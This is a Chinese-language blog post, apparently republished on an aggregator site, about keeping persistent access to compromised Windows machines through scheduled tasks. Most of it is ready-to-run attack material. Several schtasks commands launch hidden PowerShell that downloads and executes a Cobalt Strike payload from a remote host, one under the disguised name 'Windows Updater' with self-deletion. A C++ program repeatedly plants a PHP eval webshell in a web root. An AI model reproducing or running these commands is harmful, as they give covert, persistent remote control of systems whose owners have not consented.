美文网首页windows运维内网攻防
Windows权限维持——计划任务

Windows权限维持——计划任务

作者: book4yi | 来源:发表于2020-08-05 17:06 被阅读0次

    Windows操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的日期和时间执行程序或脚本。这种行为可作为一种持久性机制被red team利用。通过计划任务执行持久性不需要管理员权限,但如果已获得提升的权限,则允许进一步操作,例如在用户登录期间或在空闲状态期间执行任务。

    计划任务的持久化技术可以手动实现,也可以自动实现。有效负载可以从磁盘或远程位置执行,它们可以是可执行文件、powershell脚本或scriptlet的形式

    schtasks命令详情查询:

    SCHTASKS /Create /?
    

    常用语法:

    /tn 计划任务名
    /tr 这个计划任务所要运行程序的路径和文件名
    /sc 指定计划频率
    /i 运行这个计划之前要等待的时间(min)
    /ru 使用指定用户帐户的权限运行任务
    /ed 指定此任务运行的最后一天的日期,格式是 yyyy/mm/dd
    /et 指定运行任务的结束时间,时间格式为 HH:mm (24 小时时间)
    /z 在最终运行完任务后删除任务
    /it 仅有在 /ru 用户当前已登录,且作业正在运行时才可以交互式运行任务

    应用场景1:生成计划任务无限上线Cs

    1、用cs生成powershell无文件后门:

    2、在目标机器上创建计划任务PentestLab

    # 每次用户会话空闲三分钟执行一次,下载并执行基于PowerShell的有效负载
    schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -w hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.107.129:80/a'''))'" /sc onidle /i 3
    

    3、Cs成功上线:

    也可以在系统启动期间或用户会话处于非活动状态(空闲模式)时执行:

    #(X64) - On System Start
    schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -w hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.107.129:80/a'''))'" /sc onstart /ru System
     
    #(X64) - On User Idle (30mins)
    schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -w hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.107.129:80/a'''))'" /sc onidle /i 30
     
    #(X86) - On User Login
    schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -w hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.107.129:80/a'''))'" /sc onlogon /ru System
      
    #(X86) - On System Start
    schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -w hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.107.129:80/a'''))'" /sc onstart /ru System
      
    #(X86) - On User Idle (30mins)
    schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -w hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.107.129:80/a'''))'" /sc onidle /i 30
    

    有效负载的执行也可以在特定的时间发生,并且可以具有到期日期和自删除功能

    # 每分钟执行一次任务,20:30删掉
    schtasks /CREATE /TN "Windows Updater" /TR "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -w hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.107.129:80/a'''))'" /SC minute /MO 1 /ED 2020/08/03 /ET 20:30 /Z /IT
    

    嗯哼???任务明明被删了,咋还一直执行

    重启之后就接收不到了,emmmmm,可以作为一种隐藏手段

    应用场景2:生成计划任务无限生成一句话木马至网站根目录

    定时向Web某目录写入php一句话

    #include<Windows.h>
    #include<string.h>
    #include<stdio.h>
    #include<time.h>
    #include <io.h>
    #include <iostream>
    #pragma warning(suppress : 4996)
    int main() {
        while (1) {
            Sleep(900);//延迟900秒/15分钟
            ShellExecute(NULL, "open", "cmd", "/c echo ^<^?php @eval($_POST[pass]);?^>^ > D:\\\\phpstudy_pro\\\\www\\\\webshell.php", NULL, SW_HIDE);
        }
    }
    

    生成可执行程序运行以后,900秒执行一次写入webshell操作

    虽然这里并没有用到计划任务,但是谁能保证不会被发现,还是可以用到计划任务的,比如用户一登录就执行计划任务。

    参考如下


    Window权限维持(二):计划任务
    Schtasks命令详解(计划任务DOS批处理)
    某企业授权渗透报告

    相关文章

      网友评论

        本文标题:Windows权限维持——计划任务

        本文链接:https://www.haomeiwen.com/subject/jxubrktx.html